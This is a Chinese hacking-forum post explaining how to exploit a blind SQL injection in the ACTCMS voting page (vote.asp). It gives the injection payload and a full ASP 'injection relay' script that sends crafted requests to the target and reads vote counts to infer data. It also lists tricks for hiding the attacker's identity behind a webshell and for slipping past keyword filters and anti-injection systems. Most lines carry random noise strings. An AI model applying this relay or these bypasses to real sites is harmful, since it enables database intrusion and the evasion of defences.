找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1954|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
( H3 F: B# }2 T+ f5 p3 g1 G" H
看到ninty大牛的blog的一篇文章  t" _8 g; V0 V4 A% u4 V
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
6 z$ y" @. p8 Q4 z关于actcms漏洞的利用  by 3x qq:381862589
' T" u9 e1 u$ A5 B* i5 p8 _转载请注明以上
! n8 s4 E5 |" }2 R: P5 j漏洞文件:
( H& ~& W; k5 R$ \- ]/plus/vote/vote.asp5 o2 W& o7 C) s0 ~4 l7 ~* d. T: N
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
' g: _( \1 u. r: w8 m6 c  N% N5 W9 R# O* W7 S
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   2 e; ]3 s4 a: o1 _

, [3 z! P9 p4 r& x: ?; ?3    response.end   
! }! _0 |1 z3 P5 K7 Z  ^! f* l: }
4    end if    4 M% w2 g' u/ o4 Z6 ]# s$ F

$ U) t5 n4 t# S4 I/ ^4 E  E+ D6 N  N5    for i=1 to request("voted").count   
3 Z# D) l9 E8 }8 y( V* T+ v( w( `+ A+ ?5 W
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    $ z0 k1 V, M4 M! U' z" A
% T: t* ~/ }( X4 }/ S; S
7    next    6 \* j( l5 M! }
  d5 ]/ G, Y! Y9 i! z
8....   
# @3 _1 D6 H3 ]2 K# }
8 _2 j. T6 }) a( V6 u( f9response.Redirect "index.asp?id="&id&""   ! f5 [. W; C3 x4 D
投票结束回跳转回index.asp这个投票结果页面
9 o+ V; {+ H3 D- W$ G! d0 E如果投票成功票数加1
" }7 H! G2 O7 [6 i9 E" r9 g' r4 F            失败票数不变
5 J. ?% I3 G, Q' g/ `' E! H如图:6 V2 }' S8 j4 w, O- t! ]* n
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)- y  ^% n4 _3 @- s, \

9 m% Y# a: r3 D; \2009-12-27 13:208 {4 g" p3 L1 }, \+ i% V
8 g8 I- |) j4 f1 i. [4 x) i, `# U
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
1 V- _  e# V! X- U, e2 r; V+ H9 E/ Q# g: x* z. v
本帖隐藏的内容需要回复才可以浏览/ f) D% x9 v2 i5 f3 Q1 S
我们用注入中转来实现这个注入具体代码如下:% T+ t- ~6 M# B$ I& @
先用寂寞的刺猬大牛的注入中转生成jmget.asp
- G! y/ ?% J0 o% Z- L$ Y注入地址:http://localhost/actcms/plus/vote/vote.asp* J# R; D6 z( E: I2 k; c
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项5 _$ [/ ?/ {# \2 {1 Z' I
, K: X0 Q5 T# r$ `7 _3 c
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
  d) P) A- i. P8 V
) ~: Q8 Z" l8 f3 X# C7 {02JmdcwName=request("jmdcw")
9 y9 k7 u6 b. F* i; C& S
  h. W/ |- p% v% H1 _1 S$ S03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
8 S& I$ f7 K$ P, [# f* a" E0 z! d# ]6 Y
04JmStr="id=1&voted=-1 or 1="&JmdcwName 4 ^/ |7 ~" B: C# }
8 b& K! ~, F: ~9 B1 B& I
05JmStr=URLEncoding(JmStr)
, g6 D. P. c; u- A$ s4 ]5 W, Z/ g+ K  w; `% ~) w& k0 y5 s
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 U  @; Z9 S6 O0 q4 c& G0 s0 z* G
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp") V5 k4 b) y2 @* i& |9 c& t

. n  \, d( ?' V1 I08testurl=testurl & "?" & JmStr
' k, E4 G6 p! {, p  M- x8 ^" z- {  X
( a# }: e7 _" D) X. f; i- P! X09JMUrl=JMUrl & "?" & JmStr
* o: O* }% u7 q! W; ~/ _5 M, \  ]4 J4 {
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"- s* T% z# l8 N* r/ I$ D3 F

) L: S/ v# w2 V4 D0 Z11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
1 f+ D. l+ S, \/ \. r; |5 r- ?9 n9 [4 i/ b" \( |
12JmCok=replace(JmCok,chr(32),"%20")  
* n& A+ _7 X; L/ e/ ]$ D! b' b/ o( V0 s4 R% c8 k4 }! S. E; I. @( q) G. i+ @
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
, O, h) r% k  F4 J! Y$ D
' C! U  e+ f2 ?. {% n14  ) }7 j( d5 w( r5 B

; [- Q; I% U% R( h  w15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
" v0 f, R: e' M" X% f% k
, k9 O8 M% P3 g5 G" Q9 N/ b6 ]) ~16  
6 L. m5 C' x# Q$ y7 p, x# t3 Y' k
. T+ |6 ?6 x( ^* L  @2 Q, Y) t17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
0 R: B3 T9 w+ Q& g+ U2 H8 i! J2 I/ i6 Q2 G( K/ Z5 G2 n- q+ l# j8 n
18response.write test1&""&test2&""
$ D/ }+ Z8 L+ q1 h& p9 B8 ~4 u3 _6 n: x5 L5 e: R& w# b- _
19  
1 }. U5 z' |6 q9 A' E3 e/ v0 j, ~# D9 [. S% i1 E+ k
20if test1=test2 then '如前后记录相等,表示失败 ; b& }1 ]2 |: i  I" o

" m' s; L. V  E2 m+ z% ^21  response.write "failed"
8 Q4 _/ d4 R3 F- O
. X/ e0 ~( I" a" n! f# ~22else
% y" K; L4 i; v# S/ n; k1 T) M; J/ q. T' V
23  response.write "succeed"5 D9 p& a: ~* l  R- j
' b; q: y7 ~9 c
24end if  
8 S# r6 B: R  b- h
$ n/ {3 V- j2 C+ R25  ! b9 h' G8 u) M! R' h- ~: c
1 e; r  p/ k' n% M4 ]+ `
26response.write "by 3x"
, y# Y+ H4 y3 J3 H0 D# H' D: u+ j) ]. u, @4 c4 @0 C: f6 Q
27  , W3 O3 m+ C& u4 D
& O. O* ~: r  N' M4 b  ?/ @  ]
28  
* f! o% M3 @* k, i. k+ u' Z/ Q
0 l3 g8 N! _) k/ s7 o6 v) z7 p0 x) i29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
* n6 K; U4 \: l: W, M4 d# `  d7 B. h# P  N
30Dim Http ( u" ^5 W) B; V/ d' ]
% F9 n8 k! t, B; R1 l% t
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
8 N. q& e+ H# v& H$ E, A# ~" ]9 S* v% M. m. X
32With Http 6 l% z: t: v9 K

7 G. V" ?! c6 D5 }. Q33  
  w0 |# Z7 ]1 o  q2 p5 V" d4 y9 a2 V- T; @' k
34.Open "GET",PostUrl,False
( s/ S& s; S7 z% P7 b' T) _' l2 p
9 I$ M0 }( w) [; I35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
5 e* Z( o* h3 o+ r
6 l% l  s: C# T* k+ T36.SetRequestHeader "Referer",PostRef
  C/ h. z" d: E4 _; E* y# Y8 b# r# K$ q
37.SetRequestHeader "Cookie",PostCok , B9 N3 k: r5 {$ X, a/ [
' U6 x8 ?, o0 _$ k
38.Send () 1 r) I0 ~+ `+ T6 K, N9 T

& [% n* k) t2 ]' [) `7 i9 {7 W6 q39PostData = .ResponseBody 3 y! m; G8 I) e$ d, R' l

4 S# b  @- t$ H7 w40End With# x4 r& V% y  F( W' Y

: m  L, h; ^4 o41Set Http = Nothing
9 D& |& f4 l# ^" @/ U" r! Y: e  }$ y0 A! g* y) V0 C
42PostData =bytes2BSTR(PostData)
6 I. P7 ]) B" a, N
$ P( g. C, b! P! _2 n, A43End Function  |  k/ j+ \8 r0 r
2 ~* B: r! G6 K; J" w/ \9 R
44  2 L2 |' j2 N  m. X
, m- m& E, K- D; H* T
45  2 R% i& L. A9 m

/ B* Z0 u$ M( @, |* {46Function bytes2BSTR(vIn)
" a  [8 L) G7 x: T* ~5 I0 F: x3 L) d# H6 \, K! \
47Dim strReturn
$ o% W  A3 K# ^7 J. K% W
' ^& f9 e% |4 \/ v6 ^, y48Dim I, ThisCharCode, NextCharCode
# I2 O- X/ ]  c* R9 k+ s
# m: |1 ]6 [) h) D* Q5 u+ A$ v2 p' U49strReturn = ""
+ v% G6 P5 i/ s, {0 h6 ~8 Y7 ]# i$ U8 j  g0 k1 O: w
50For I = 1 To LenB(vIn) 3 |; a: w; ]" M- F1 t

( [, c$ m, E, k% P51ThisCharCode = AscB(MidB(vIn, I, 1)) 6 P8 c! f* U% n: [- F

9 ]2 e: {; N+ k' t, r. K3 c52If ThisCharCode < &H80 Then* x% ]/ l. f/ y0 Q
& ?6 B/ @$ x8 M. U( S: s/ A7 N
53strReturn = strReturn & Chr(ThisCharCode) 3 _* t% k/ Y& r& ~; _) V  X" `
' P& Y/ G% e7 ?0 q) q
54Else) x+ F  [% m6 Q- J: p4 X
; l, A  l9 h3 d7 k* f2 [# j
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 9 o" a$ F  e. m! [$ M9 {

8 m" N: \; I' |/ l+ k56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) & B* d4 s/ A5 r  R3 R6 M
: f& c3 r# r: h- X2 B4 R: q
57I = I + 1 ) x  C; H* \) u, x. u1 X, h
9 d0 v* ~/ _; I" l0 h. k
58End If9 D# K+ J2 i- x& m! Q
! j2 s. W0 t2 T* G
59Next$ h0 s7 N( g" n0 A

" h  }- \7 s: W! z2 ~9 d2 L: D60bytes2BSTR = strReturn 3 r& w, q" p5 j3 r

% [3 q: [% W2 n  I61End Function
% h. y! v1 r8 w( h% l  H# q$ w' n, f
( z: M% g. P# q0 }5 o62  
5 w3 `% D# g- x# K8 v
- A+ S. _+ c$ U63Function URLEncoding(vstrin)  3 V, _2 d8 c( U4 z
! D/ d2 v' j5 F( N& W, v
64strReturn=""
8 `0 A$ D& ^! U* {5 j2 }# }) O' i3 M5 p/ T( G0 W
65Dim i 5 v/ _9 m- \7 t: C" g
- I( l2 L( R, \! n  i! C
66For i=1 To Len(vstrin)
7 m' x$ f9 V9 j2 ?$ h% F  @8 @( B5 e& ]! q) m. A$ e" _4 D, w
67ThisChr=Mid(vstrin,i,1) ) G' s" D9 B- A2 L' a- M

9 e+ I) D6 x$ ]7 Q68if Abs(Asc(ThisChr))< &HFF Then
  b! g3 T# Q  g; K& L  |1 A8 K7 `- t* O# x2 a$ N4 Q
69strReturn=strReturn & ThisChr ( |* ]& I0 d9 g: d

- S4 i" T+ `" M- `# R70Else
& Y+ Y8 Y& ^# x1 W. `9 S  G3 o1 n( R' T3 g
71InnerCode=Asc(ThisChr) 3 ?( ^; [9 F1 ?/ w( R2 o

5 f6 T+ ~) P! I. F: v' a$ |72If InnerCode<0 Then& C2 K* N9 p) f) t& F+ P! q4 i# K

" d. I3 d, t8 Q4 ], O+ C' h73InnerCode=InnerCode + &H10000 ) _, ^" d) z7 s8 I  ?% r

7 e4 t. E  r' }8 ]* k9 {4 B- R: g% y! L74End If7 l+ k$ ]+ J& q0 P

4 o: t4 f; v! Y" A75Hight1=(InnerCode And &HFF00) \&HFF # u* |8 `( j0 o( t0 O4 ~$ G" j

$ M/ H& a+ [7 l! Z76Low1=InnerCode And &HFF
; z& K+ P3 y& K7 p* k4 V/ D: }) Z  k) B- [+ U, T7 Y, |0 P3 A- O7 V1 i
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
; i; I# D0 F; \6 N. O# A2 V2 G; ], E6 |' C
78End if 6 q  ~6 O1 c' c6 V/ t3 R+ ]' G
6 ^" v4 h7 t2 h
79Next
5 V( ]7 g& _& D+ }" F1 }2 R
6 z* j3 P# R9 b, `6 F80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
- u9 B9 {4 ~6 p+ u1 ~
! K" ~6 }$ r8 a5 Z  _4 S  K: _81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
4 g$ B8 r* R# f$ T5 i! U  L( F: r8 b( p- K0 F5 b
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
5 w% V9 }$ I% B* T( L. E# N. P& Z4 e' e! v2 o/ ~5 F2 C
83URLEncoding=strReturn ! x1 {' ]3 @9 i! Z( Z0 l4 C1 L3 ]5 l
2 t# J2 N+ n& ~  U% A
84End Function
# _# @4 u8 f% v7 u  r; X8 y$ a4 j9 O' w
85  
7 j8 l% m5 p* I3 j. R: S  }% @, _. f
8 Y. G4 e/ g( U86function getSt(body) - z$ w) q8 I( L1 c
. U* @" d6 k  F6 q5 h! ~- {  i
87  startpot=instr(body,"投票人数:")+len("投票人数:")
  G4 |3 z( X! W7 C5 j8 j: j, v
1 t/ r$ H7 L( B, j* M88  endpot=instr(startpot,body," ")
9 H% h. b, `# _$ H3 |, ?; `5 C: ?
89  getSt=mid(body,startpot,endpot-startpot)
/ L: `# U. h9 Q* r: `, {# O( ^; r- Z7 ]1 X5 S- C  u
90end function 8 L+ Z& R! g. c; r3 l) N
: S3 Y& r  N% D4 V# Y( k- f
91%>
& P8 a+ g3 \' |9 N% f+ V/ g注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
7 x( O3 H/ g, Z; c9 f% B$ U( l测试下效果:
: i( v# f+ A1 e2 Z投票成功:. h% Y+ U$ a8 _% H8 U5 i
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
+ O0 t+ V+ Z9 ~+ Z0 G. y, g* p8 m0 X
4 s, ~; \  {+ S7 y, K2009-12-27 13:29
" x4 A, X5 T1 a/ f+ V- }7 z投票失败
8 `& R/ I" H. n1 }, {http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
9 V6 ]) {( y. A' O& A
& R# y% j1 ?; V) ?; R2009-12-27 13:297 [: ]+ g* V: N7 d( l7 M
-------------------------------------------------------------------------------
6 ]6 C: O1 a- t再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
  H% H  |5 C: t7 H很抱歉。。。只能用单线程工具去注入。。。。。. H  j9 `- u. z1 ^. D7 N! ?
所以失败。。。不好意思。。。
0 x7 _( \: ~, r- h% m0 V-------------------------------------------------------------------------------1 c- S7 y; y, p5 h* H+ x
! l6 I6 T- S, _* C1 ^
注入中转的一些其他应用: G8 `- b' H, I7 f4 n* i" ]% {
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了' T  E- M) S4 s. t# f/ ]. }
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id( w& x& v5 B- l* X1 T( N% _
2.post注入转成get型的注入,方便我们使用工具来跑
, m, @& B9 }& ~* l: u3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"), l0 L" E/ R& i% F; [# p
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过  }2 S* q  s  ^0 w
! z# C. r- P4 Q1 |) W8 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表